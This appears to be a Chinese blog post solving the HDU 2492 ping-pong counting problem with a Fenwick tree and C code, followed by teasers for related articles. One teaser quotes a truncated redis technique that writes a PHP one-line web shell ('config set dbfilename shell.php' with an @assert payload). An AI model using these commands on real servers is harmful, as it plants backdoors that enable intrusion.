hdu2492 数状数组或者线段树
题意:
给你一些人,每个人有自己的攻击力,输入的顺序就是每个人的顺序,他们之间互相比赛,两个人比赛的条件是必须在他们两个位置之间找到一个人当裁判,这个裁判的攻击力必须在他们两个人之间,问你最多能矩形多少场比赛。
思路:
枚举每一个点当裁判,线段树或者树状数组正着跑一遍记录大于等于当前点和小于等于当前点的个数,然后倒着跑一边,做同样处理,最后乘一下就行了。
#include<stdio.h>
#include<string.h>
__int64 num[110000] ,G[110000];
__int64 L1[110000] ,R1[110000] ,L2[110000] ,R2[110000]; int lowbit(int x)
{
return x & -x;
} void update(int x ,__int64 a)
{
for(int i = x ;i <= 100050 ;i += lowbit(i))
num[i] += a;
} __int64 get_sum(int x)
{
__int64 sum = 0;
for(int i = x ;i > 0 ;i -= lowbit(i))
sum += num[i];
return sum;
} int main ()
{
int i ,t ,n;
scanf("%d" ,&t);
while(t--)
{
scanf("%d" ,&n);
for(i = 1 ;i <= n ;i ++)
scanf("%I64d" ,&G[i]);
memset(num ,0 ,sizeof(num));
for(i = 1 ;i <= n ;i ++)
{
L1[i] = get_sum(G[i]);
R1[i] = get_sum(100005) - get_sum(G[i] - 1);
update(G[i] ,1);
}
memset(num ,0 ,sizeof(num));
for(i = n ;i >= 1 ;i --)
{
L2[i] = get_sum(G[i]);
R2[i] = get_sum(100005) - get_sum(G[i] - 1);
update(G[i] ,1);
} __int64 sum = 0;
for(i = 1 ;i <= n ;i ++)
sum += L1[i] * R2[i] + L2[i] * R1[i];
printf("%I64d\n" ,sum);
}
return 0;
}
hdu2492 数状数组或者线段树的更多相关文章
- poj 2481 Cows(数状数组 或 线段树)
题意:对于两个区间,[si,ei] 和 [sj,ej],若 si <= sj and ei >= ej and ei - si > ej - sj 则说明区间 [si,ei] 比 [ ...
- bzoj 3110: [Zjoi2013]K大数查询 树状数组套线段树
3110: [Zjoi2013]K大数查询 Time Limit: 20 Sec Memory Limit: 512 MBSubmit: 1384 Solved: 629[Submit][Stat ...
- HDU 5877 2016大连网络赛 Weak Pair(树状数组,线段树,动态开点,启发式合并,可持久化线段树)
Weak Pair Time Limit: 4000/2000 MS (Java/Others) Memory Limit: 262144/262144 K (Java/Others) Tota ...
- bzoj3196 二逼平衡树 树状数组套线段树
题目传送门 思路:树状数组套线段树模板题. 什么是树状数组套线段树,普通的树状数组每个点都是一个权值,而这里的树状数组每个点都是一颗权值线段树,我们用前缀差分的方法求得每个区间的各种信息, 其实关键就 ...
- Codeforces 777E(离散化+dp+树状数组或线段树维护最大值)
E. Hanoi Factory time limit per test 1 second memory limit per test 256 megabytes input standard inp ...
- st表、树状数组与线段树 笔记与思路整理
已更新(2/3):st表.树状数组 st表.树状数组与线段树是三种比较高级的数据结构,大多数操作时间复杂度为O(log n),用来处理一些RMQ问题或类似的数列区间处理问题. 一.ST表(Sparse ...
- 2019南昌网络赛 I. Yukino With Subinterval 树状数组套线段树
I. Yukino With Subinterval 题目链接: Problem Descripe Yukino has an array \(a_1, a_2 \cdots a_n\). As a ...
- HYSBZ - 3813 奇数国 欧拉函数+树状数组(线段树)
HYSBZ - 3813奇数国 中文题,巨苟题,巨无敌苟!!首先是关于不相冲数,也就是互质数的处理,欧拉函数是可以求出互质数,但是这里的product非常大,最小都2100000,这是不可能实现的.所 ...
- [BZOJ 3196] 213平衡树 【线段树套set + 树状数组套线段树】
题目链接:BZOJ - 3196 题目分析 区间Kth和区间Rank用树状数组套线段树实现,区间前驱后继用线段树套set实现. 为了节省空间,需要离线,先离散化,这样需要的数组大小可以小一些,可以卡过 ...
随机推荐
- 『笔记』2-SAT
前置 \(SAT\) 是适定性( \(Satisfiability\) )问题的简称.一般形式为 \(k \ -\) 适定性问题,简称 \(k-SAT\) .而当 \(k>2\) 时该问题为 \ ...
- redis一句话木马控电脑
(1)在redis管理工具内写入木马并保存: 输入命令行: config set dbfilename shell.php set shell "<?php @assert($_P ...
- 报错NameError: name ‘null’ is not defined的解决方法
报错NameError: name 'null' is not defined的解决方法 eval()介绍 eval()函数十分强大,官方demo解释为:将字符串str当成有效的表达式来求值并返回计算 ...
- WPF 应用 - WPF 播放 GIF 的两种方式
1. 使用 Winform 的 PictureBox 1.1 引用 dll WindowsFormsIntegration.dll System.Windows.Forms.dll System.Dr ...
- Fisco bcos 区块链-分布式部署
Fisco bcos 区块链-分布式部署 前置条件:mysql配置成功. 节点搭建 cat > ipconf << EOF 127.0.0.1:1 agencyA 1 127.0.0 ...
- 【odoo14】第三章、创建插件
现在我们已经有了开发环境并了解了如何管理实例及数据库,现在让我们来学习下如何创建插件模块. 本章内容如下: 创建和安装模块 完成manifest文件 组织模块文件结构 添加模型 添加菜单及视图 添加访 ...
- SpringMVC源码分析和启动流程
https://yq.aliyun.com/articles/707995 在Spring的web容器启动时会去读取web.xml文件,相关启动顺序为:<context-param> -- ...
- python matrix转list
a = [[1,2],[3,4]] a = np.mat(a) print(a.getA().tolist())
- go语言几个最快最好运用最广的web框架比较
比较一下常用的golang web框架 令人敬畏的Web框架 如果你为自己设计一个小应用程序,你可能不需要一个Web框架,但如果你正在进行生产,那么你肯定需要一个,一个好的应用程序. 虽然您认为自己拥 ...
- 实践解析丨Rust 内置 trait:PartialEq 和 Eq
摘要:Rust 在很多地方使用了 traits, 从非常浅显的操作符重载, 到 Send, Sync 这种非常微妙的特性. Rust 在很多地方使用了 traits, 从非常浅显的操作符重载, 到 S ...